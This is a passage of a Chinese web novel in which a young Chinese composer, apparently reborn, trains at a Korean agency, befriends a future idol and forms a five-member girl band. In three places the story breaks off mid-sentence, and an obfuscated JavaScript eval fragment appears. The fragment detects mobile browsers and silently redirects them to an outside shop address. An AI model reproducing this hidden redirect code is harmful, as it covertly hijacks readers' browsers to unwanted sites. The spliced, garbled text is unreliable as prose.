歌词的基调竟与旋律截然不同,单看只有满纸的遗憾与不舍。搭配上明快的旋律以及文槿极富质感的声音,感染力却直接拉满。 明快与忧伤交织,希望和绝望并存,矛盾又和谐。像在最酸涩的时候吃了一颗最甜的糖,从此苦涩不堪的记忆也有了值得称道的地方。 权至龙撑着下巴,目光牢牢锁定在钢琴前认真弹唱的女孩身上。 “呜哇,完全不给别人活路啊。” 演唱结束,东咏裴超小声地对竹马感慨。作为主唱,他太懂这类演唱者的杀伤力。 “不错,完成度很高,取名了吗?”朴真英压下拼命上扬的嘴角,尽量平静的开口。 “是,名字是《再见》。” “再见?有什么特别意义吗?” “告别还是期待再次会面,这个词本身就有两种截然不同的意思。” 《再见》不是文槿的库存,是她在2002年醒来后写的第一首歌。 痛苦于再也见不到亲人故友,抛下他们独自承受死别的苦涩,又因为能在未来重新遇见而满心期待和欢喜。矛盾之下,《再见》应运而生。 本着尽(完)善(美)尽(主)美(义)的挑剔心态,歌曲修修改改无数次,文槿始终不太满意,今天演唱的这一版算是其中完成度最高的。 如果不是借用工作室的时候意外被朴真英听到,她可不会现在拿出来。 14.第 14 章 舞蹈考核文槿跳了一支新学的爵士舞,专业老师指导加上千百遍重复练习,进步肉眼可见。 且她非常清楚自己的优势所在,把外貌优势发挥到极致,再加上一双会说话的眼睛和超强的表情管理能力,最终效果绝了。 正如朴真英所说,没人注意文槿的动作标不标准,舞蹈水平高不高,全身心沉浸在她带来的视觉盛宴中。 杨贤朔舞蹈出身,对旗下练习生的舞蹈水平有着严苛要求。但在文槿表演的短短几分钟里,他愿意放下专业人士的挑剔,仅以观众的身份欣赏一场演出。 “作为女团的非舞担成员,这个水平够用了。”杨贤朔笑得像朵盛开的菊花,“我主要想夸的是表情管理,真的非常棒,会把看到你的每一个人变成粉丝的。” 因为权至龙和Bigbang,文槿对杨贤朔心有成见。但目前的情况是对方是一社之长,她只是个小小练习生,真实情绪半点都不能流露。 只能摆出标准的社交式笑脸,礼貌地表示感谢。 剩下的时间属于两位社长,文槿转身回自己的位置。不经意和权至龙对上视线,下意识嘴角上扬。 和方才面对社长不同,这个笑容是有温度的。 察觉到这一点,权至龙心里升起些许窃喜,自己都不清楚为什么,跟着回了一个笑。 “好棒啊,姐姐。” 闵仙艺抱住文槿的胳膊,鼻头微微耸动,闻到一股特别的香味。 初闻像是花果的味道,细嗅又夹杂有明显的草木涩味和一股幽幽的凉意。矛盾复杂,沁人心脾,一如文槿其人。 “姐姐你用的什么香水,好好闻啊。” 文槿低头闻闻衣服,再闻闻胳膊,摇头,“哪来的香味,明明是汗味。” “难道是洗发露?”闵仙艺又凑过来闻她的头发。 “臭丫头,不要跟个痴汉一样。”文槿抵住闵仙艺的头,不让她靠近。 因为鼻子对气味过于敏感,文槿平时洗衣粉都只用气味最淡的那种,更不用说沐浴露和洗发露。 任何好闻的香味一旦变得驳杂,都是对嗅觉的巨大刺激。对她而言,没有气味就是最好的气味。 “不要,就是香的,再闻一下。” 两个人亲亲热热闹成一团,有人望着她们的背影衣角恨不能扯烂。 考核结束已是傍晚,社长和老师们相继出去后,教室里的练习生明显活泛起来。和之前的泾渭分明不同,各自认识的人三三两两挤在一起说话。 比如朴载范和权至龙,赵泉和东咏裴。 文槿拖着闵仙艺过去,大方地朝权至龙伸出右手,“你好,我是文槿,交个朋友?” 权至龙愣了一下,心里止不住得意。努力拉平拼命上扬的嘴角,一手插兜一手去握文槿的手。 “权至龙,你的歌很棒。” 话不多的样子,也与后来的他不同。 文槿只见过权至龙一次,短暂的时间不足以洞悉对方的本质,但能感觉到他是个温柔随和又不失幽默的人。 知识渊博,专业,爱说爱笑,喜欢逗人玩。 不过想想自己的17岁,文槿表示能理解,有哪个少年不爱装酷呢。 “文槿xi是几几年生?” 权至龙的问题让文槿想到韩国人对同年的看重,最近她在酱油瓶深有体会。 哪怕她明说华国人不讲前后辈那一套,不管年龄相差多大都能平等的做朋友,赵泉和闵仙艺依然坚持对她说敬语。 怎么劝都不听,让文槿很是挫败。 整个公司唯有在美国长大的朴载范能理解她,而文槿曾在美国学习生活十年,相似的文化背景让他们相处时比旁人更自在几分。 “叫我文槿就好,我是88年9月生。” “哦,是亲故呢。”权至龙表情雀跃,眼中是毫不掩饰的赞叹和惊讶,“竟然已经是大学生了,好厉害。” 顺手拉过旁边的竹马,一并介绍给文槿认识。 “这是东咏裴,一位唱歌超棒的朋友,也是88年生的亲故。” 深入了解过权至龙的人,不会不认识东咏裴。是唱功一流作风低调的好歌手,也是无绯闻无黑料娶了初恋的好男人。 “很高兴认识你,咏裴。” “我也是。” 东咏裴似乎不习惯和女孩子打交道,笑得腼腆拘谨。 文槿体贴的把话题转移到权至龙身上,余光瞥见他悄悄松了口气,垂眸轻笑。 权至龙:“???” 我有说好笑的话吗? 疑惑不到两秒,再次被眼前的盛世美颜带走注意力。 阿西,这样笑也太漂亮了吧。世上怎么会有这么漂亮的人,爸爸妈妈一定骄傲死了吧。 当他得知文槿是华国人,反而一点都不惊讶。 早些年在韩国大火的华国艺人都有谁呢,张国荣,王祖贤,黎明……全是气质与美貌兼具的存在。 在韩国人尤其是上一辈老人看来,华国就是有很多特别漂亮的孩子。能唱会演,一个比一个出彩。 虽然时不时会走神,就总体而言权至龙和文槿的交流过程相当愉快。 鲜少有同龄人在音乐创作方面跟他如此投契,对方明明不是rapper,却句句说到他心坎里。连朴载范都没忍住加入进来,三个人聊得热火朝天。 等到权至龙和东咏裴随杨贤朔离开酱油瓶,他的联系方式已经顺利躺进文槿的电话簿。 晚上九点多,文槿从公司回学校宿舍。门刚关上,维持大半天的平静消散,原地蹦起来,小声欢呼。 “Yes——” 和偶像交上朋友啦! 冥冥中她好像看到专辑、打歌舞台、演唱会等福利,正欢呼雀跃地朝她跑来。作为一名GD音乐粉,还有比这更快乐的事吗? 另一边,权至龙哼着歌心情极好的回家了。他在歪鸡已经练习四年,大多时间都住在练习生宿舍。不过眼下开学在即,需要回家拿妈妈洗熨好的校服。 说到开学,想到比自己小一个月的文槿已经是大学生,还是SKY之一的首尔大学,不知为何心里有些别扭。 “至龙回来了,校服已经准备好自己拿到宿舍区,学费爸爸会去帮你缴纳。”权妈妈在客厅追电视剧,看到儿子开门进来满脸笑意地迎上去。 “嗯?不高兴?” 见权至龙耷拉个脑袋怏怏不乐,忙拉着人在沙发上坐下。 “……没有。” 权至龙挠挠脸,心说有那么明显吗? 他觉得自己之所以心里不舒服肯定是因为被亲故比下去了,哪好意思说给妈妈听,偷偷在心里骂自己小心眼。 “没有吗?” “真的没有!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16020321|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >孩子都快急眼了,权妈妈见状不再追问。看至龙这个样子不像是大事,算了,留给他自己消化吧。 “没事就好。”一巴掌拍孩子背上,“不早了,赶紧洗漱完睡觉去。” 权至龙:“……” 妈妈,您的母爱消失得真快。 九月,文槿正式开学。哪怕提交练习证明免去社团活动,时间依然比预想中紧张。 上课和练习把文槿的心思占得一干二净,恨不能一分钟掰成两分钟用。除了和早先结识的同胞以及同班维持基本的交流,根本无心进行社交。 因此也不知道自己的几张偷拍照最近在校内论坛上疯传,更有好事者拿她和99年入学的金泰希进行比较,试图拉踩。 明明文槿是个外国人,结果竟然不是一边倒而是斗了个旗鼓相当,让搞事的人傻眼。 仗着论坛匿名,有人毫不掩饰的嘲笑:本国人的尿性懂的都懂,对此我只能说文槿同学的颜值确实称得上一句权威。 下面的回复盖了好几十层,不是哈哈大笑就是大拇指点赞。 最后这件事是李秀隽告诉文槿的,因为帖子被娱乐小报转载,网上讨论度着实不小,也让酱油瓶的人进一步认识到文槿的杀伤力。 毕竟美貌和才学兼备的人有,顶级美貌和首尔大学的搭配实在不多见。 文槿:……有够闲的。 尽管公司比较人性化,所有在上学的练习生都会根据课表调整课程。可是文槿深知自己的优势只在唱功和创作方面,若想尽快出道必须补全舞蹈弱项。 偏这个只能靠时间慢慢练,走不得半点捷径。 俗话说磨刀不误砍柴工,为了提高效率,她花时间调整了课业和练习,尽量做到事半功倍。 比如晨练从慢跑换成跳舞,跳舞的音乐换成老师要求赏析的作品。又比如下载乐理、音乐史等教材的电子版,在地铁通勤的时候听,可以省下课前预习的时间。 至于视唱练耳,这是文槿最不担心的部分。哪怕在失明的十年,她也从来没有真的放下过音乐。 反倒是钢琴演奏,需要每天抽时间练一会儿,保持手感和基本的肌肉记忆。总归不是专业的演奏家,老师的要求不会太高。 等到二年级类似的基础课程减少,核心课程增多。什么配器法、和声学、复调还有创作实践等等,课外作业肉眼可见会暴增。 对此文槿并不担心,作曲对她来说早都像吃饭喝水一样简单,基础课程减少反而能让她轻松一点。困在课堂上的时间少了,能自由支配的时间不就多了。 记得那句凌晨四点的经典语录吗? 不夸张的说,文槿每天都能见到凌晨四点的首尔。 和喜欢熬夜靠冰美式续命的韩国人不同,她习惯早睡早起。 晚上十点,酱油瓶的练习室灯火通明,其他人还在挥洒汗水,她已经以最快的速度回宿舍休息。 第二天凌晨四点,有的人刚刚入睡甚至尚未入睡,她已经起床精神抖擞地开始忙碌而充实的一天。 无论校内论坛还是网络上的热闹,没空也没有心思理会。 不过,上面的人似乎有点想法。不仅没有联系报社删除文槿的照片,还配合的放出她是练习生的消息。 更有意思的是,文槿的舞蹈课悄悄减少了。不起眼的一点分量,像是一个信号,除了自己无人察觉。 15.第 15 章 不仅是舞蹈课有变化,语言课也一样。 众所周知,朴真英社长有一个美国梦。酱油瓶的练习生不仅要学日语,还要学英文。文槿本就精通中英韩三国语言,她的语言课只有日语,比其他练习生轻松得多。 最近她发现,原本教得比较随意的老师态度明显认真起来。 朴社长对她的未来有安排了?要打发她去小日子的地盘发展? 文槿猜不透,因为韩国团体去日本发展几乎是惯例。毕竟是亚洲最大的唱片市场,哪怕二十年后数字音乐兴起,日本的实体唱片市场仍表现坚韧。 猜不到她就不猜了,专心提高自己,知识学到手不会吃亏。 让她比较意外的是,公司楼下竟然有她的粉丝蹲守了! 不是其他已经出道前辈的粉丝因为脸赞顺带关注一下,而是只为文槿而来的专属粉丝。 “姐姐!” “文槿姐姐!” “这边!这里!” 晚上九点半,文槿按时从公司出来赶地铁回学校,在门口被几个陌生孩子叫住。 看起来十四五岁的样子,男孩女孩都有。见文槿停下脚步,欢欢喜喜地围上来。 “哇啊,姐姐本人比照片还漂亮,又高又瘦,是路过的蚂蚁都要点赞的程度。” “姐姐在首尔大学就读是什么感觉?是不是超级棒?” “真的只有17岁吗?华国的空气是不是可以益智,怎么能聪明漂亮成这个样子呢?” “呜,姐姐身边连空气都是香的。” 呜哇,说的人一本正经真诚坦荡,文槿听得耳朵都要烧起来了。极高的敏感度和共情能力让她在创作和演唱上如鱼得水,同时让她对真诚地赞美无力招架。 “啊,那个,晚上好,请问你们是?” 她垂眸看过来,笑容清浅柔软,让人联想到天边漂浮的云朵。 有人激动地低声呐喊:“啊啊啊,好温柔!该死,我对这个类型完全没有抵抗力。” 明显是代表的女孩从包里拿出几张打印好的照片,像素很糊明显是从网上下载的。 “姐姐,我们都是你的fan,特意来见你的。”她把照片递给文槿,“可以给我们签名吗?” 文槿又惊又喜,一边表示感谢一边接过照片,翻翻随身的帆布袋,后知后觉自己根本没带签字笔。 又不是出道艺人,谁带那玩意啊。 “抱歉,我……” “没关系,嘿嘿,我有。”女孩递过来一只紫色的签字笔,继续夸夸,“姐姐的名字是木槿花对吗?一定是紫色的重瓣木槿,冶艳而清冷,高贵又美丽。” “小朋友,再夸我要逃跑了。” 文槿用手扇风,试图赶走脸上的热度。 她自认是个擅长表达情感的人,碰上这群孩子也只能甘拜下风。 难道成为粉丝就会自动精通语言的艺术?她当年有这么夸至龙吗?没有吧? 前GD真爱粉陷入深深的自我怀疑。 脑海里天马行空,不妨碍手上利索的签名。潇洒的文槿二字落在照片上,如行云流水一气呵成。 一共十二张,没多久就签完。看到他们拿到签名后欢呼雀跃的样子,文槿露出灿烂的笑容。 “时间不早,大家都回家吧,姐姐也要回学校了。” 都是上初中的年纪,文槿有点不放心,“住的远吗?要不要帮你们打车?”“不用了姐姐,我们就住附近。” 女孩朝她摆摆手,“明天见,姐姐。对了,我叫全美娜,是你的第一个粉丝,要记住我哦。” “姐姐,我是李恩美。” “我!我叫朴哲宇。” …… 少年们嬉笑着跑远,文槿站在原地朝他们挥手,默默记下每一个名字。笑意在眼中荡漾,初秋的晚风都平添几许温柔。 人特别忙碌的时候总会不小心忘记时间,某天清晨,从音乐教室出来的文槿接到文襄的电话。 “小哥,这个点给我打电话,是想我了吗?” “是啊,想你了。一想到你没见过国庆的升旗仪式,我就替你伤心。” 文槿一秒反应过来,“你在看升旗仪式?现场吗?” “不是现场给你打电话干什么?嫌话费太多吗?”文襄下意识怼了一句,立马放缓声音,“槿槿,你听。” 他把手机拿得高高的,杂乱的声音在某一刻消失,随后响起整齐嘹亮的国歌。 几分钟后,文襄的声音重新在电话那头响起,“国庆快乐,槿槿。我……很想你。” 最后三个字含含糊糊,像是从喉咙里挤出来的。 “国庆快乐,襄襄。还有,我非常非常想念你。” 对面的人没说话,文槿憋笑,正要再说点什么逗逗他,嘹亮的笑声传入耳中。 “香香?香香公主?老三,咱妹妹的称呼很别致啊。” “哈哈哈,你是香香公主,那谁是陈家洛?乾隆又是谁?” “滚!”喝退看热闹的同学,文襄咬牙切齿对电话说:“文、槿,说了不准这么叫我!” “啊?你说什么,小哥?”文槿假装信号不好,“我要上课了,有空再聊哈,拜拜~” “嘟——” 眼睁睁看电话挂断,文襄好气又好笑。 隔那么远,打又打不着,骂又舍不得,你慌什么呢? 清晨的电话让文槿上午的心情超好,为了庆祝国庆,她特意约交好的几个同胞中午一起吃饭。不出去,就在宿舍的公共大厨房自己做。 “文槿,没想到你厨艺这么好。” 五个人围成圈,桌上的五菜一汤不说色香味俱全,至少是家常菜的中上级别。 “诶,自从到韩国,没吃过味儿这么正的中餐,太满足了。” “你们到底为什么对我有误解?”文槿笑得无奈极了,“我就是个家境普通的小镇女孩,做饭是从小做到大的事。哦,我还下地插过秧呢。结果被水蛭叮了,后来就再也不敢了。” 大家面面相觑,不知道该不该信。 暂且不提出国留学的巨大花费,学音乐本身就费钱,更不必说把孩子培养到进入世界名校的程度。 家境普通?谁信啊。 只看文槿的气质,也没人相信。 文槿无意立富家大小姐人设,奈何真话没人听。摇摇头,低头专心吃饭。 平时有点时间都花在练习上,根本腾不出手做饭,她也很久没吃到家乡的味道,今天得吃个够。 进入十月后,首尔的天气一点点凉下来。从华国到首尔,文槿所带衣物有限,不得不挤时间购置几套秋装。 于是当权至龙对她发出邀请,问要不要一起去购置衣物装备时,她毫不犹豫就答应下来。 作为有名 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16026197|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时尚icon,权至龙的大名在时尚界和乐坛一样响亮,文槿对他的眼光抱有绝对信任。 “……所以你和咏裴是要在前辈的演唱会上伴舞,出来买装备的?” 权至龙点头。 “那为什么约我呢?”文槿背着双手故意凑到他面前,打趣道:“难道是……” 拉长了声音,故意说一半留一半。笑容更是过分灿烂,令人不敢直视又舍不得不看。 “不止你!我、我也约了别人。”权至龙慌忙否认,看天看地就是不看文槿。 东咏裴(微笑):没错,这个别人就是我。 “其实是这样的……” 啧,关键时刻,还得靠咏裴。 “是至龙说你从华国过来衣服肯定没带够,对首尔的商场也不一定熟悉,购置衣服不方便。反正我们也要去的,干脆约你一起。而且至龙的眼光很不错,一定能给你好的建议。” 文槿恍然大悟,温暖的目光落在装酷的少年身上,双手交握在胸前做感动状,“谢谢至龙和咏裴。在这个陌生的国度,有朋友真心惦记我关心我,感觉心里暖暖的,好开心~” “切,作怪。” 权至龙瞥她一眼,眼中笑意藏也藏不住。 有权至龙和东咏裴两个土著在,文槿这一趟简直大丰收,一次性买全秋冬两季的衣服。 有一件带兜帽的深灰色大衣得到权至龙力荐,文槿买下后他还给搭配了合适的内搭和胸针。后来文槿穿出街,回头率百分之两百。 还有人四处张望找摄像机,以为她是正在拍摄中的校园电影女主角。 文槿把这件事告诉权至龙,他却说:“衣服只是次要,人才是重点。因为你是非常漂亮有气质的人,才会有超越预期的效果。” 没有面对面的压力,他说话直白不少。 “嗯嗯,就像我们至龙,本身是很有魅力的人,等待机会展示给大家,对不对?” 电话那头权至龙脸颊爆红,庆幸对方看不到自己的表情。 “……你在说什么呀?挂了,拜拜。” 听语气就知道又别扭上了,文槿看着手机偷偷笑。青春期的少年,渴望认同又羞于承认,真是别扭的可爱。 十一月初,司马公司准备已久的大型男团SJ正式推出。作为团队里唯一的华国人,韩更的存在引起巨大讨论。线上线下,论坛、报纸等娱乐版块到处都有他的名字和身影。 大众对他非常好奇,电视台闻风而至,随便打开一个娱乐节目都能看到他精致帅气的脸。因为他的存在,SJ迅速在华国打开知名度,让许多人看到华国市场的广阔。 朴真英让人搜集SJ在华韩两国的所有相关数据,和神话、东方神起反复对比。又听闻司马明年要推一个华国女孩solo出道,终于坐不住了。思索再三,下定决心。 “乐队?” 听完社长的话,文槿早先的疑惑迎刃而解。难怪降低对舞蹈的要求反而对日语格外上心,原因在这里。 这是想把华日韩三国市场一网打尽啊,胃口还真不小。 “不错,我打算以你为中心打造一支女子流行乐队。”朴真英双手交叉垫在下巴上,目光犀利如刀锋,“乐队和偶像团体不同,文槿,你能承担得起大众的期待和注视吗?” 文槿不闪不避,目光坚定像一座不可撼动的山。 “我能。” 16.第 16 章 朴真英办事效率奇高,自从对文槿挑明目标,先是把她升到出道预备役A班,随后停了所有舞蹈课,重心落在唱功和日语上。 嗓子休息的时候,就让她跟在公司的几个制作人身边学习,其中包括朴真英本人。接触得多了,关系自然而然变得亲近起来。 鉴于目前A班有且仅有文槿一人,其他练习生暗地里都在猜公司是不是要推她solo出道做歌手。 司马新男团的华国籍成员人气有多火爆大家有目共睹,心里有再多的羡慕不忿也不好说什么。 现改国籍不说来不来得及,他们也没有文槿的才华和美貌,给不了社长单推的信心。 闵仙艺几人为文槿感到开心,虽然会羡慕的说被姐姐后来居上了这样的话。 于私他们是朋友,真心希望文槿好;于公文槿发展好了公司才会有信心继续推新人,其他练习生才有机会。头脑可谓十分清明,半点没被眼前利益和妒忌冲昏。 文槿看在眼里,心中十分高兴。尽管大家相识不久,难得都是值得深交的朋友。能够认识大家,实在是万分荣幸。 心情好她就喜欢做点有创造性的事,比如写写旋律,又或者下个厨。 看似毫不相干的两件事,在文槿眼中有相同的本质。 食材自然地存在大自然任何人都能取用,但最后能端上怎样的一盘菜,还得看厨师如何精心烹调。 挑选、刀工、火候、调味甚至做饭时的情绪,每一样都会影响最终口味。最后有人糊锅,有人不功不过平平无奇,有人却能做到色香味俱全。 作曲同样如此,音符就那么些,怎么组合全看创作者个人,想想都有意思的紧。 当天傍晚,还在练习室的三人收到文槿的短信,叮嘱他们晚饭别去食堂,自己带正宗的中餐来吃。 正儿八经华国人做的,保证正宗,不保证美味(bushi)。 三人不约而同走出练习室,在门口撞个正着。 瞧见从隔壁出来的赵泉和朴宰范,闵仙艺晃晃手机,“你们也收到了?” “收到了,文槿姐姐请吃中餐。”赵泉一脸向往,“不知道做的什么,会和炸酱面一样好吃吗?” 说起中餐,他吃得最多的就是附近店里姨母做的炸酱面,真的很美味,就是不能多吃。 练习生虽然不用像出道艺人那样严格管理身材,每个月也需要上称量体重,起伏过大会被魔鬼体能老师拉去加练。 朴载范点点头:“炸酱面挺好。” “可是……”闵仙艺迟疑地说:“姐姐说要自己做诶,她看起来像是厨艺很好的样子吗?” 额…… 三人面面相觑。 文槿的外表气质偏古典矜贵,又是学音乐艺术的,多少沾点出尘脱俗的仙气,难以把她和厨房联系起来。连幻想她在烟火气满满的厨房出没,都像是一种亵渎。 半小时后,文槿拎着大大的保温袋来到公司,看到的就是三个面带警惕的小朋友。 “??发生什么事?怎么都这副模样?” 不明所以,但也不纠结,兴冲冲的把人带到练习室角落坐下。旧报纸往地上一铺,迫不及待地把菜往外拿。 “都是往日在家里常吃的菜,没有什么好听的名头,但保证好吃。”把米饭和筷子塞给三人,文槿一个劲儿催促,“快吃,再不吃要冷了。” 如今已是初冬,气温低饭菜冷得快。若不是文槿一层又一层包裹严实,等她从首尔大学赶到公司饭菜只怕冷得和冰渣子似的。 看起来颜色倒是挺正常。 闵仙艺在家常做家务,厨房没少进,视线扫过顿时放心许多,“谢谢姐姐,我不客气了。” 赵泉和朴载范又等了一会儿,见她面无异色,才敢放心的下筷子。 这么明显的动作,文槿看不出来就有鬼了。 “好啊,这是不相信我的厨艺?”她白了两人一眼,没好气道:“好歹是请你们,没点手艺我好意思吗?” 理亏的少年不说话,只一味低头炫饭菜。 “还是我们仙艺最好,来,多吃点。” 边说边用干净的筷子给闵仙艺夹菜,在米饭上堆成一个小山尖尖,偏心的明目张胆。 闵仙艺愧疚不已,最开始提出质疑的人就是她。腼腆地笑笑,埋头吃饭不敢和文槿对上视线。 文大厨眉梢微微上挑,眼中闪过一丝得意。哼,让你们怀疑我,乖乖承受良心的谴责吧。 “我家乡有一道莲藕排骨汤特别好喝,可惜今天没在市场上找到鲜藕,以后有机会做给你们吃。” “好呀好呀,我特别期待。”赵泉连连点头,试图拉回一点印象分。 文槿笑睨他一眼,没再怼回去。 就在大部分人肯定心中的猜测,认为公司就是要推文槿当歌手的时候,A班空降两位成员。 “不是solo歌手吗?” “是女团吗?文槿就算了,其他成员为什么也不从B班挑?” “什么来头,有人知道吗?” 练习生和不知内情的部分职员都在议论,搞不懂上面的人在想什么。 在朴真英的办公室里,文槿第一次见到日后朝夕相处的两位成员——键盘手尹杉月以及贝斯手李音华。 两人是庆熙大学校乐队的成员,虽然就读的不是音乐系,水平却相当不错。朴真英盯上她们有段时间,奈何两人一直表示没兴趣。 直到最近主唱和鼓手退出乐队解散,不想放弃乐队的两人终于松口加入酱油瓶。来之前她们再三声明,队友水平不够她们还是会拒绝组队。 朴真英野心勃勃想做好韩国的第一支女子乐队,加上对文槿的实力有信心,满口答应。 初次见面三人对彼此的印象说不上好或不好,倒是迫不及待想见见对方的真功夫。 作为一个成熟的音乐制作人,文槿对自己的小伙伴,尤其是乐队性质的小伙伴要求可不低。若是随便找几个人糊弄,不如solo出道,还能少些拖累。 简单自我介绍后,众人直奔录音室。 “想听哪首?” 文槿从随身的帆布包抽出一沓乐谱,分给尹杉月和李音华,“这个。” 尹杉月眉梢轻挑:“你写的歌?” 文槿坦然回视:“当然,我会是乐队主创。” 自从社长明说要推乐队后,她写新歌都往这边靠,适合日后以乐队形式演出,给的这首便是其中之一。 尹杉月和李音华在外间花时间熟悉了乐谱,朝文槿比了个OK,三人一起进入录音间准备开始。 现场围观的除了朴真英,只有一个录音师,可谓隐蔽。 俗话说内行看门道外行看热闹,论技术文槿或许排不上号,耳力却是实打实的顶尖水准。 一串流畅的音符从两人指尖流出落到文槿耳中,她知道两个队友算是妥了。于是也拿出看家本领,力求征服她们的耳朵。 在这种各自较劲又彼此欣赏的心态驱使下,三人的状态超乎寻常的好,演出效果更是呈指数倍增,把在外观察的朴真英乐得合不拢嘴。 当最后一个音符落下,三人对视一眼,不约而同笑了。 尹杉月率先朝文槿伸手:“重新介绍一下,我是尹杉月,86年12月生,庆熙大学经营学专业二年级在读。” 留着帅气超短发的女孩紧接着跟上:“李音华,86年10月生,庆熙大学法学专业二年级在读。” 握住两人伸过来的手,文槿一整个眉眼飞扬,“文槿,88年9月生,来自华国,首尔大学作曲系一年级在读。” “孩子们,”朴真英推开录音间的门,边鼓掌边朝她们走,“恭喜你们,找到契合心意的队友。” 看向尹杉月和李音华满是调侃,“现在可以放心签约了吗?” 尹杉月看向李音华,见她点头便答应下来,“可以。后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16038447|178353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续加入成员,需要我们三人同意。” 要求可谓无礼,但朴真英并不生气。 “当然,我对你们的未来抱有很大的期望,绝不是玩玩而已。” 合同签完第二天,文槿不再是一个人独来独往,三个人开始初期磨合阶段。各自上课提高业务水平,聊聊彼此喜欢的音乐类型,更多的时间则是一起排练。 文槿的耳朵实在犀利,有她时不时“挑刺”加指导,尹杉月和李音华的水平短时间内又有质的飞跃。 “音华姐,贝斯入场时间应该再晚四分之一拍,然后……” 李音华点头,按她说的重新来过。 “……第三小节和第四小节的衔接不够流畅,你是滴—答—滴这样,换做滴——答—滴效果更好……” 文槿边说边上手给尹杉月演示,语调温和指法娴熟,自有一股令人信服的从容之态。明明年龄是三人中最小的,却最有领袖魅力。 同为天之骄子,尹杉月和李音华各有各的骄傲,从没想过有一天会在短时间内甘心被妹妹管得服服帖帖。 “阿槿,我真的很难相信你只有17岁,不论哪方面。” 对于尹杉月的评价,文槿只是笑笑不说话。 其实上辈子她在伯克利求学时玩过乐队,时间还不短。说出来恐怕没人信,她的位置是鼓手,偶尔兼职高音吉他。 只是在美国复杂的大环境下,名气上升后人往往难以坚持初心,而文槿的放得开仅限于音乐和舞台。 从小的教育告诉她不该沾的东西绝对不能碰,否则就是倾家之祸,因此退出乐队和队友分道扬镳。 再后来回国遇上车祸,人生骤变,从前的事便都忘了。好像文槿从来都是沉静的、温柔的,没有过桀骜不羁、青春飞扬的少年时代。 人言花有重开日,人无再少年。何其有幸,她竟有再来一次的机会。这一次,她要走得更稳、更远,见识更多的风景,不论沿途还是峰顶。 大概是乐队初步成型后过于得意,朴真英的计划突然陷入泥沼,开始停滞不前。 最开始他只想组一个水品之上的乐队配合才貌双全的主唱,既能解决solo可能遭遇的排外问题又能充分发挥文槿的个人优势,红火不是问题。 意外挖到尹杉月和李音华后,他认为从前的自己还是过于保守,有了一个更远大的目标——做一个全员技术、颜值都在线的学霸乐队。 按照韩国人极度慕强的属性,会有多受欢迎他简直不敢想。 要求进一步提高后,人更不好找了,真以为名牌大学在读还玩乐器的美少女是地里的大白菜吗? 公司的星探被撒网一样的全撒出去,期望广撒网能多捞鱼,奈何效果寥寥。 就在朴真英怀疑自我到失眠,开始犹豫要不要降低要求的时候,惊喜从天而降。 先是星探从弘大街头带回梨花女大就读的华裔鼓手李书慧,随后他在回母校延世大学拜访老师时意外邂逅吉他手赵美娴。 五名乐队成员,就此全员聚齐。 一水儿的名校在读,技术过硬,外貌不说个个堪比演员,至少也是清秀可人。 朴真英笑得仿佛捡到几个亿,非常民主地表示大家各自给乐队取一个名字,然后择优选择。 文槿习惯把事情做在前头,早早想过这个问题,轮到她的时候毫不犹豫给出答案。 “Resonance,意为共鸣。无论风格与表现形式有多么不同,能引起听众情感共鸣的才是好音乐,我、我们大家,要做这样的好音乐。” 每次说到和音乐相关的事,她总是两眼亮晶晶的,满腔欢喜与热忱。 其他人笑眯眯的看着她,一脸宠溺。 尹杉月和成员们交换一个眼神,代表大家开口,“就这个吧,社长,我们认为很好。” 朴真英也觉得好,就此拍板,“好,从今天起你们就是Resonance,共鸣乐队。” 17.第 17 章 名字有了,队长也该定下来。 最后人选不是文槿而是尹杉月,她不觉意外,甚至这个结果可以说在文槿意料之中。 原本乐队的目光就大多聚焦在主唱身上,偏偏她还是主创一手包办队伍的词曲创作,分量已是重而又重。 若是再把队长的身份给她,队伍会严重失衡,搞得忙的忙死闲的闲死。 不仅无法达到朴真英理想的效果,还会把文槿推到风口浪尖,在乐队内部埋下不和的导火索。 作为一个有经验的老手,他不会犯这样的错误。 再说文槿,她对不当队长没有不满,甚至有点开心。实在是时间不够用,也讨厌过于官方的寒暄社交,这类工作能不做就不做吧。 队友们表示理解,谁不是个学业事业一把抓的superwoman呢。 人员到齐,酱油瓶像一台上足发条的机器,平稳且速度地开始运转Resonance乐队出道事宜。 首先安排了一间小三室作为宿舍,要求五人从现在起同住培养默契,也有方便管理的意思。 文槿不得不退掉单人宿舍,在同学朋友的不舍中搬到位于清潭洞的新住处。之前在B班练习生宿舍的床位,自然也退了。 在那边没住几天,东西很少,请同宿舍的仙艺帮忙把不要的东西处理掉,剩下的带到公司交给文槿,等晚上练习结束再带回新住处,免了再跑一趟。 和练习生宿舍比,新住处的居住环境好,但好的很有限,最大的优点是不用四五个人挤一间屋,洗漱上厕所都要排队。 